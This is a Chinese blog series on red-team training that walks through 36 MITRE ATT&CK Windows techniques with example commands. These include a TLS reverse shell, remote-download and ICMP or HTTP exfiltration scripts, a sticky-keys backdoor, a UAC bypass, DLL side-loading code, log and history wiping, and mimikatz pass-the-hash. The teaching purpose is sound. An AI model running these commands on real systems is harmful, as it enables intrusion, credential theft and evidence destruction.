[ATT&CK®] 3 分析攻擊手法制定紅隊演練流程

飛飛 | 2022-07-01

紅隊演練訓練環境

建立靶機環境與知識庫

透過上一篇文章,分析三十六個 Techniques 為範例,分析攻擊手法後作為紅隊演練的訓練,可以制定一套學習 Windows 的流程與進度表:

第零步:了解 Windows 歷史與文件

  • Windows 版本與Windows 伺服器版本
  • 各版本的差異與功能不同
  • 已知弱點(如 CVE)也需要注意版本

第一步:了解基本指令的操作

分析 ATT&CK® 針對 Windows 相關的 Techniques,可以發現 APT 組織皆以 Cmd 或是 Powershell 作為攻擊媒介,因此可以針對兩種指令進行訓練。

可以針對 ATT&CK® 所使用的指令,進行學習,作為補充指令。

cmd 命令提示字元,可參考 初學者之卷 所撰寫的教學。

Powershell:可參考微軟官方文件

  • Get-Help Command-Name:取得幫助內容。
  • Get-Command 了解目前主機安裝多少 cmdlet。
  • Invoke-WebRequest :送出請求,取得網頁內容。
  • 嘗試了解 APT 組織所使用的 PowerShell 指令

第二步:了解 Windows File System

  • Logical drives:硬碟 C 槽
  • 預設資料夾(PerfLogs、Program Files and Program Files (x86)、Users)
  • 預設檔案(作業系統的程式碼)

了解這些預設資料夾的功能與預設檔案的功能。

第三步:Windows 權限檔案

權限主體分成 Users 跟 Group ,而可以設定的權限可以分成以下七個:

  • Full control:允許使用者、群組設定資料夾與其他人的所有權限(修改、讀取、寫入、執行)。
  • Modify:允許使用者和群組修改、讀取、寫入和執行檔案。
  • Read & execute:允許使用者和群組讀取和執行檔案。
  • List folders content:允許使用者和群組列出資料夾內容,含子資料夾。
  • Read:僅允許使用者和群組讀取檔案。
  • Write:允許使用者和群組寫入指定資料夾。
  • Special permissions:特殊存取權限。

檔案
資料夾

使用 icacls 檢查檔案權限和資料夾權限:

  • I:從父容器繼承的權限
  • F:完全控制
  • M:修改權限
  • OI:對象繼承
  • IO:僅繼承
  • CI:容器繼承
  • RX:讀取並執行
  • AD:追加子資料夾
  • WD:寫入資料

第四步:Windows 身分驗證

驗證身分該使用者的合法性。

  • 身分驗證帳戶:本機使用者帳戶和系統管理員帳戶。

登入概念

  • 認證:確認身分過程,認證 = 憑證 + 驗證
  • 授權:該使用者可以做什麼操作與可以存取什麼資源。
  • 憑證:身分證明:系統使用者帳號和密碼

驗證階段透過 Local Security Authority(本機安全性驗證),管理本機安全性原則,進行驗證。

  • 了解 Windows 驗證的原理與流程
  • Windows 內建帳號與群組的關係
  • net 指令的相關應用
  • Windows 密碼與雜湊(NTLM)

第五步:Windows 內建功能

一、Computer Management:電腦管理

  • 工作排程器:可以指定特定條件自動執行定義與操作。
  • 事件檢視器:查看 windows Log 相關事件(成功、失敗登入事件與系統錯誤),可以將 Log 轉發到 SIEM 中確認惡意動作。
  • 共用資料夾:在網路上共享可以被多個使用者存取的目錄或資料夾。
  • 本機使用者和群組:可以新增使用者,可以管理群組。
  • 效能:監視設備的 CPU 使用率、記憶體使用率。
  • 裝置管理器:硬體管理,網路介面卡、滑鼠、韌體。
  • 磁碟管理:可以縮小、擴展、新增分區並格式化。
  • 服務和應用程式:可以檢查系統上正在執行的服務,啟動、停止、重新啟動。

二、Local Security Policy:本機安全性原則

三、Disk Cleanup

四、Registry Editor

Win + R + RegEdit

五、Registry Editor (Regedit)

第六步:Windows Server

了解 Windows Server 的伺服器可衍生出多種功能。

第七步:Windows Log

Windows 預設路徑 C:\Windows\System32\winevt\Logs

三種查看 Windows 事件的工具

  1. Event Viewer
  2. Wevtutil.exe
  3. Get-WinEvent

五種 Windows 紀錄的事件

  • 關閉 Windows IIS HTTP Logging 的手法
C:\Windows\System32\inetsrv\appcmd.exe set config “website_name” /section:httplogging /dontLog:true

第八步:Active Directory

了解 Active Directory 與 Azure Active Directory 的差別,以及驗證方式的不同。

Active Directory

  • NTLM
  • LDAP / LDAPS
  • KERBEROS

Azure Active Directory

  • SAML(安全性聲明標記語言)
  • OAUTH 2.0
  • OpenID連接

第九步:惡意腳本撰寫

分析 APT 組織所撰寫的惡意腳本內容,並學習該程式語言以及了解惡意腳本執行方式與內容。

  • PowerShell
  • VBScript
  • JavaScript

以上為透過分析 Techniques 初步制定紅隊演練的學習流程,可以再繼續透過分析 Technique 了解更多攻擊手法,將紅隊演練的知識樹擴展。

參考網址

Terms of use

  • MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation.

[ATT&CK®] 2 ATT&CK® 36個 Techniques 分析

飛飛 | 2022-04-11

上篇介紹 ATT&CK® 是一個紀錄資安攻擊與情資分享的資料庫,是給攻擊方與防禦方溝通的橋樑,紅隊如何使用 ATT&CK®,將透過本篇文章一探究竟。ATT&CK® 會記錄 APT 組織的攻擊手法,所以可以從攻擊手法分析。本篇以 12 個階段與平台以 Windows 為例子,每個階段以三個 Techniques 為範例,並分析每個範例的攻擊手法,從分析中找出紅隊演練的學習 Windows 攻擊流程。

ATT&CK® 以 Windows 為例

此章節會先以 12 個階段與平台以 Windows 為例子,每個階段以三個 Techniques 為範例,並分析每個範例的攻擊手法。

36個 Techniques 分析

每一個 Techniques 有許多種重現的方式與手法,因篇幅原因,僅列出部分手法,作為參考與說明。

Initial Access

T1078.001 Default Accounts

攻擊者可以透過 Windows 預設帳號的權限,作為初始存取,而 Windows 有效的預設帳號為 Guest 來賓帳號 與 Administrator 管理員帳號,攻擊手法如下:

因為 Administrator 的帳號過於顯眼,因此透過提升權限的方式,讓 Guest 可以登入並進行遠端桌面,使用 cmd 執行。

  1. 使用預設帳號 Administrator 管理員預設密碼,取得管理員權限
  2. 開啟 Guest 來賓帳號的狀態
    net user guest /active:yes
  3. 設定 Guest 來賓帳號的密碼
    net user guest h2draPassword!
  4. 將 Guest 來賓帳號加入到群組 Administrator
    net localgroup administrators guest /add
  5. 將 Guest 來賓帳號加入到遠端桌面使用者群組
    net localgroup "Remote Desktop Users guest" /add
  6. 允許遠端桌面連項(fDenyTSConnections 預設 1 拒絕遠端桌面連線)
    reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  7. 允許新的遠端桌面連線
    reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

cmd 實際操作

T1566.001 Spearphishing Attachment

攻擊者可以寄發夾帶惡意檔案的釣魚信件,嘗試對受害者系統中進行初始存取。

啟用巨集且含有惡意 VBScript 的 Excel 中會開啟瀏覽器並下載惡意檔案,攻擊手法如下:

  • 使用 PowerShwll
if (-not(Test-Path HKLM:SOFTWARE\Classes\Excel.Application)){
return '請安裝 Microsoft Excel'
}
else{
$url = 'https://惡意檔案.xlsm'
$fileName = 'PhishingAttachment.xlsm'
New-Item -Type File -Force -Path $fileName | out-null
$wc = New-Object System.Net.WebClient
$wc.Encoding = [System.Text.Encoding]::UTF8
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
($wc.DownloadString(“$url”)) | Out-File $fileName
}

透過以下指令,可以驗證電腦內是否安裝 Excel:

Excel 存在

T1133 External Remote Services

攻擊者可以透過外部的遠端服務(如 VPN)進行初始存取,從外部網路連機到企業內部或受害者的網路。

APT 組織透過前一階段 Recon 收集到受害者的 VPN 帳號密碼,進而連線到企業的 RDP 服務或 VPN 服務。

  • 執行 Chrome VPN 擴充元件
  • 擴充元件都會有 extension_id
$extList = #extension_id
foreach ($extension in $extList) {
New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx“ -PropertyType "String" -Force}
Start chrome
Start-Sleep -Seconds 30
Stop-Process -Name "chrome"

Execution

T1053.002 Scheduled Task/Job: At (Windows)

攻擊者濫用 at.exe 來執行惡意程式碼,排定時程執行檔案。

at 13:20 /interactive cmd

T1559.002 Dynamic Data Exchange

攻擊者使用 Windows 動態資料交換(DDE)執行任意指令。

DDE 是一種 Client 端與 Server 端的協定,透過一次性或連續性的通訊,建立連結之後可以自動交換事件 ,如資料更改通知與指令執行請求。

  1. 開啟 word (新版的 Word 無法重現)
  2. 點選插入 > 快速組件 > 功能變數

點選功能變數

  1. 點選 =(Formula) > 點選確認

點選 =(Formula)

4. 出現非預期之公式結尾

Word 將出現

5. 將鼠標移動到「!非預期之公式結尾」點選右鍵,點選切換功能變數代碼

將鼠標移動到「!非預期之公式結尾」點選右鍵,選擇切換功能變數代碼

6. 出現 { = * MERGEFOMRAT }

7. 修改為 {DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe"}

8. 儲存檔案該檔案,關閉檔案

9. 重新開啟後,選擇是,就會觸發惡意 POC ,開啟小算盤

T1204.002 Malicious File

惡意攻擊者仰賴受害者開啟惡意檔案並執行,可能透過巨集或其他方式下載惡意檔案。

  • 透過 cmd 寫檔案 script,透過 cscript 執行
echo var url ="https://505f93ba3af7.ngrok.io/flag.txt",fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject(‘MSXML2.ServerXMLHTTP’); request.open('GET' , url, false);
request.send();if (request.status === 200) {
stream = WScript.CreateObject('ADODB.Stream');
stream.Open();
stream.Type = 1;
stream.Write(request.responseBody);
stream.Position = 0;
stream.SaveToFile("c:\\windows\\temp\\flag.txt", 1);
stream.Close();
}else{
WScript.Quit(1);
}WScript.Quit(0); > %TEMP%\OSTapGet.js
cscript //E:Jscript %TEMP%\OSTapGet.js

執行開 Javascript 可以看出伺服器有請求紀錄

Persistence

T1197 BITS Jobs

惡意攻擊者濫用 BITS ,執行惡意程式碼後清理。

BITS 是透過 COM 傳輸機制,可以透過更新程式在後台執行,且不中斷其他應用程式。

  • 透過 Bitsadmin 下載檔案
bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}

T1176 Browser Extensions

惡意攻擊者透過瀏覽器的擴充功能,進行攻擊。

  • 安裝惡意的擴充功能

許多擴充功能會繞過 Google 擴充商店的偵測,可能夾帶惡意的廣告或木馬,造成受害者損失。

T1546.001 Change Default File Association

惡意攻擊者透過文件類型關聯觸發惡意檔案,在 Windows 中打開文件通常會使用預設的程式開啟,如附檔案名 txt 可能會透過 Windows 內建的記事本開啟,而文件關聯會儲存於 Windows 註冊表中,可直接透過編輯註冊表,或透過 assoc 修改該副檔名預設開啟的程式。


註冊表位於 HKEY_CLASSES_ROOT[extension]

assoc #{extension_to_change}=#{target_extension_handler}

Privilege Escalation

T1546.008 Accessibility Features

惡意攻擊者執行可存取的惡意檔案來提升權限,如 Windows 中的相黏鍵(Shift 五次)被置換成 cmd.exe 或其他的惡意程式。

  1. 複製相黏鍵進行備份
    copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe
  2. 讓 sethc 提供系統管理員群組的擁有權 /F 指定檔案;/A 擁有權
    takeown /F C:\Windows\System32\sethc.exe /A
  3. icacls 顯示或修改指定檔案上的判別存取控制清單 (DACL),/grant 授予管理員權限
    icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
  4. 複製 cmd 到.exe sethc.exe
    copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe
takeown /F C:\Windows\System32\sethc.exe /A
icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

T1548.002 Bypass User Account Control

惡意攻擊者會繞過 UAC 機制進而使自己提升權限,Windows 中 UAC 可以允許程式提升權限。

reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f

cmd.exe /c eventvwr.msc

T1574.002 DLL Side-Loading

攻擊者透過劫持 DLL 函式庫執行惡意程式碼。

GUP 是 Notepad ++ 用於軟體更新的開放原始碼簽名二進位檔案,容易受DLL 影響,因此可以加載 libcurl dll,執行後,將開啟小算盤 calc.exe。

#include <stdio.h>
#include <windows.h>

extern __declspec(dllexport) void curl_easy_setopt(void){ return; }
extern __declspec(dllexport) void curl_easy_cleanup(void) { return; }
extern __declspec(dllexport) void curl_easy_duphandle(void) { return; }
extern __declspec(dllexport) void curl_easy_escape(void) { return; }
extern __declspec(dllexport) void curl_easy_getinfo(void) { return; }
extern __declspec(dllexport) void curl_easy_init(void) { return; }
extern __declspec(dllexport) void curl_easy_pause(void) { return; }
extern __declspec(dllexport) void curl_easy_perform(void) { return; }
extern __declspec(dllexport) void curl_easy_recv(void) { return; }
extern __declspec(dllexport) void curl_easy_reset(void) { return; }
extern __declspec(dllexport) void curl_easy_send(void) { return; }
extern __declspec(dllexport) void curl_easy_strerror(void) { return; }
extern __declspec(dllexport) void curl_easy_unescape(void) { return; }

void DllUnregisterServer(void){
    system(“calc.exe”);
    return;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol){
    switch (ul_reason_for_call){
        case DLL_PROCESS_ATTACH:{
            DllUnregisterServer();
            break;
        }
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

Defense Evasion

T1218.003 CMSTP

惡意攻擊者濫用 CMSTP 代理惡意程式碼執行。

CMSTP.exe Microsoft 連接管理器設定文件安裝軟體,用來安裝連接管理器的程式,接受資訊文件(INF)作為參數,並安裝從遠端存取連接的服務設定檔案。

攻擊者向 CMSTP.exe 傳送惡意的 INF 檔案,以下為惡意 INF 檔案 範例:

; Author: @NickTyrer-https://twitter.com/NickTyrer/status/958450014111633408

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection

[UnRegisterOCXSection]
%11%\scrobj.dll,NI,https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1191/src/T1191.sct

[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Yay"
ShortSvcName="Yay"
  • 透過 cmd 執行 cmstp.exe 並指定 inf 檔案名稱
cmstp.exe /s #{inf_file_path}

T1070.001 Clear Windows Event Logs

惡意攻擊者清除 Windows 事件日誌以隱藏入侵活動,Windows 事件日誌會記錄警報與通知,事件來源分別為系統、應用程式、安全性,有五種事件類型:錯誤、警告、資訊、成功審核、失敗審核。

  1. Log 路徑位於C:\Windows\System32\winevt\Logs 其中系統日誌名稱為 System
  2. 清除 log
    • wevtutil cl#{log_name}
  3. 透過 PowerShell 刪除
$logs = Get-EventLog -List | ForEach-Object {$_.Log}
$logs | ForEach-Object {Clear-EventLog -LogName $_ }
Get-EventLog -list

Get-EventLog -list

T1070.003 Clear Command History

除了消除系統日誌之外,攻擊者還可以清楚受害系統的指令歷史紀錄,以隱藏入侵時所使用的指令。

Windows 中 PowerShell 提供兩種不同的指令紀錄,內建歷史紀錄與 PSReadLine模組管理的指令歷史記錄。

內建歷史紀錄:只會記錄當前命令提示視窗內所使用的指令,不會記錄其他視窗,並且關掉視窗之後就會刪除。

PSReadLine :紀錄 PowerShell 所使用的指令,並寫入檔案中(預設路徑$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

  • 取消 PowerShell 歷史紀錄功能

Set-PSReadlineOption –HistorySaveStyle SaveNothing

  • 刪除 PowerShell 歷史紀錄

Remove-Item (Get-PSReadlineOption).HistorySavePath

Get-PSReadlineOption

Credential Access

T1552.001 Credentials In Files

攻擊者會在本機文件系統與遠端檔案共享搜尋不安全儲存的憑證檔案,可能是受害者自行新增的憑證檔案。

  • 透過 PowerShell findstr 找檔名為密碼的文件檔
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -Pattern password

T1552.002 Credentials in Registry

攻擊者會在受害系統中的註冊表搜尋不安全儲存的憑證,Windows 註冊表可儲存系統的設定資訊,攻擊者查詢註冊表後,找到已儲存的憑證或密碼,有機會達到自動登入。

  • 列舉註冊表的憑證(HKLM 本機端、HKCU 當前登入使用者)
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

T1555.003 Credentials from Web Browsers

惡意攻擊者可以讀取特定瀏覽器的檔案或是從瀏覽器中或的憑證,如 Windows 中 Google Chrome 路徑為AppData\Local\Google\Chrome\User Data\Default\Login Data 並透過 SQL 查詢語法查詢 SELECT action_url, username_value, password_value FROM logins; 後將被加密資料傳送到 Windows API函數CryptUnprotectData 進行解密。

  • ATT&CK® 官網有針對 APT29 該 APT 組織的攻擊流程,做產品評測,有提供工具,以下測試使用該工具

https://github.com/mitre-attack/attack-arsenal/blob/master/adversary\_emulation/APT29/CALDERA\_DIY/evals/payloads/Modified-SysInternalsSuite.zip

  • 下載該 zip 檔案之後,將檔案放置 $env:TEMP\Modified-SysInternalsSuite.zip 並進行解壓縮。

Expand-Archive $env:TEMP\Modified-SysInternalsSuite.zip $env:TEMP\sysinternals -Force

  • 並透過微軟官方工具 accesschk,該工具為確認權限的工具。

https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

  • 於 PowerShell 中執行
Set-Location -path “$env:TEMP\Sysinternals”;
./accesschk.exe -accepteula .;

Discovery

T1010 Application Window Discovery

惡意攻擊者嘗試取得目前使用者已經打開應用程式的視窗列表,取得發現有用的資訊。

using System;
using System.Collections.Generic;
using System.Diagnostics;
/*
Author: Tony Lambert, Twitter: @ForensicITGuy
License: MIT License
Step One:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe T1010.cs
Step Two:T1010.exe
*/

namespace WindowLister{
    class Lister{
        static List ListMainWindowTitles(){
            List windowTitlesList = new List();
            Process\[\] processlist = Process.GetProcesses();
            foreach (Process process in processlist)  
        {  
            string titleOutputLine;  

            if (!String.IsNullOrEmpty(process.MainWindowTitle))  
            {  
                titleOutputLine = "Process: " + process.ProcessName + " ID: " + process.Id + " Main Window title: " + process.MainWindowTitle;  
                windowTitlesList.Add(titleOutputLine);  
            }  
        }  

        return windowTitlesList;  
    }  

    static void Main(string\[\] args)   
    {  
        List<string> windowTitlesList = ListMainWindowTitles();  
        windowTitlesList.ForEach(i => Console.Write("{0}\\n", i));  
    }  
}  
}
  • 透過以上的程式碼編譯並執行
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe T1010.cs
.\T1010.exe

查看目前開啟應用程式的標題

T1217 Browser Bookmark Discovery

惡意攻擊者會枚舉瀏覽器的書籤,了解受害主機的資訊,從書籤可以了解該使用者的資訊,如常用網站、興趣與社交媒體,甚至是伺服器、工具等資訊。

  • 使用 PowerShell 取得書籤位置
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe T1010.cs
.\T1010.exe

  • 使用 cmd 列出書籤位置
where /R C:\Users\ Bookmarks

T1083 File and Directory Discovery

惡意者枚舉檔案和資料夾,為了在受害主機中收集有用資訊,可能透過 dir、tree、ls、find 等指令。

  • 使用 cmd,透過 dir 將常用的資料夾內容都輸出到 %temp%\download
dir /s c:\ >> %temp%\download
dir /s "c:\Documents and Settings" >> %temp%\download
dir /s "c:\Program Files\" >> %temp%\download
dir "%systemdrive%\Users\*.*" >> %temp%\download
dir "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*" >> %temp%\download
dir "%userprofile%\Desktop\*.*" >> %temp%\download
tree /F >> %temp%\download
  • 使用 PowerShell:以下三種方式都可以
ls -recurse
get-childitem -recurse
gci -recurse

Lateral Movement

T1021.003 Distributed Component Object Model

惡意攻擊者透過有效的帳號,並使用 DCOM(分布式元件物件模型)與遠端系統進行連線,並已有效帳號的身分執行與操作。

COM (元件物件模型)是 Windows API 的元件,該元件可以讓軟體之間進行連線或介面之間可執行程式碼。

透過 COM 使用者端可以使用伺服器端的方法,DLL 或 EXE。

  • 使用 mmc20 應用程式 COM 進行 PowerShell 的橫向移動
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","localhost")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7")

T1550.002 Pass the Hash

惡意攻擊者透過被外洩的密碼雜湊值,在內部網路環境橫向移動,繞過存取控制。Pass the Hash(PtH)不需要使用者的明文密碼,直接進入使用雜湊進行身分驗證的步驟,通過身分驗證之後,可以在系統上操作任意指令。

  • 使用 mimikatz
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:test.local /ntlm:#{ntlm}"
  • 使用 crackmapexec
crackmapexec #{domain} -u #{user_name} -H #{ntlm} -x #{command}

T1550.003 Pass the Ticket

惡意攻擊者透過被外洩的 Kerbers Ticket 繞過身分驗證。

mimikatz.exe # kerberos::ptt Administrator@test.local

Collection

T1560 Archive Collected Data

惡意攻擊者壓縮敏感資料,混淆收集資烙並減少網路傳輸的資料量。

  • 使用 PowerShell 壓縮檔案
dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}

T1115 Clipboard Data

攻擊者透過收集剪貼簿中的資料,嘗試取得敏感資訊。

  • 使用 cmd

將目前目錄清單複製到 Windows 剪貼簿 dir | clip

將稱為 test.txt 的檔案內容複寫到 Windows 剪貼簿 clip < test.txt

  • 使用 PowerShell
Get-Process | clip

T1056.001 Keylogging

惡意攻擊者記錄使用者的輸入,比如收集使用者輸入密碼的時候,可竊取到密碼。

時常濫用 Windows 內建 Hook API、硬體緩衝區的 key 、註冊表等方法。

  • 腳本來自 key_logger,並修正以下三行。
[line 56] MessageBox(NULL, (char *) a, (char *) b, MB_ICONERROR);
[line 93] strcpy(lastwindow, window_title);
[line 98] localtime(&t);

Command and Control

T1071.004 DNS

惡意攻擊者透過 DNS 進行通訊,以繞過網路偵測系統。

for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type "#{query_type}" "#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}" -QuickTimeout}

T1573 Encrypted Channel

惡意攻擊者使用已知的加密演算法來隱藏命令與控制流量。

$server_ip = #{server_ip}
$server_port = #{server_port}
$socket = New-Object Net.Sockets.TcpClient(&#039;#{server_ip}&#039;, &#039;#{server_port}&#039;)
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient(&#039;fake.domain&#039;, $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write(&#039;PS &#039; + (pwd).Path + &#039;> &#039;)
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data | Out-String ) 2>&1;
$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;> &#039;;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}

T1105 Ingress Tool Transfer

惡意攻擊者透過工具從外部系統轉移到受害網路中,透過命令或控制通道將惡意工具傳送到內部網路。

  • cmd
    利用 certutil 中的 -urlcache 參數下載 Web 檔案。
cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}

  • PowerShell
certutil -verifyctl -split -f #{remote_file}
Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }

(New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}")

Exfiltration

T1020 Automated Exfiltration

惡意攻擊者透過自動處理來竊取敏感資料,

$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}


T1048.003 Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

  • 透過 HTTP 取得敏感資料,於受害主機執行 HTTP Server
python -m SimpleHTTPServer 1337
  • 透過 ICMP 傳送檔案
$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }

使用 Windows WireShark 監聽 Adapter for loopback traffic capture

T1567 Exfiltration Over Web Service

攻擊者使用合法的外部 Web 服務來竊取資料,如 Ngrok,如外部的 Web 服務對於企業的防火牆可以已存在「合法可通行」的規則,允許存取這些「合法」的外部 Web 服務。

受害網站 CDN 被加入惡意腳本,購物者付款後,會收集信用卡資料,透過重導向的方式,發送到自定義的 ngrok 伺服器。

Impact

T1531 Account Access Removal

攻擊者破壞受害者系統中的帳號,透過刪除、修改、鎖定帳號,使得受害者無法存取帳號。

  • 更新受害者的密碼,使受害者無法存取帳號。(admin權限)
net user #{user_account} #{new_user_password} /add
net.exe user #{user_account}

  • 刪除受害者帳號
net.exe user #{user_account} /delete

T1485 Data Destruction

攻擊者破壞受害者系統的資料與檔案,進而中斷系統、服務、網路資源的可用性。

Invoke-Expression -Command ".\sdelete.exe -accepteul a h1dra.txt

-Invoke-Expression 在本機系統執行指令。

T1489 Service Stop​​

攻擊者停止或禁用受害者系統的服務,進而使受害者無法使用。

  • 使用 cmd 並以 admin 執行
sc.exe stop #{service_name}
net.exe stop #{service_name}
taskkill.exe /f /im #{process_name}

[ATT&CK®] 1 ATT&CK® 基本介紹

飛飛 | 2022-04-11

帶你深入淺出 ATT&CK® 資安攻擊情資分享資料庫,是紅隊與藍隊之間溝通的橋樑。

(閱讀全文...)